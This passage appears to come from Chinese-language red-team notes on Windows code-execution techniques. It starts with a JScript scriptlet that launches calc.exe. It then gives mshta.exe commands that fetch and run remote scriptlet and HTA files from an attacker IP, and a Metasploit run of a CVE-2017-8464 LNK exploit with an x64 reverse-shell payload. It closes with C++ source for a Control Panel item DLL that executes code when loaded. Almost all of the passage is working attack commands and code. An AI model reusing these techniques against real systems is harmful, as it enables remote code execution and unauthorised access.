<script language="JScript"> <![CDATA[ function Exec() { var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); } ]]> </script> </scriptlet>
调用远程托管的 scriptlet 文件:
1 2
# from powershell /cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();
1
mshta.exe http://10.0.0.5/m.hta
控制面板项目
1 2 3 4 5 6 7 8 9
Generating a simple x64 reverse shell in a .cpl format: msfconsole use windows/local/cve_2017_8464_lnk_lpe set payload windows/x64/shell_reverse_tcp set lhost 10.0.0.5 exploit
// dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" #include <Windows.h>
//Cplapplet extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2 ) { MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0); return 1; }
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }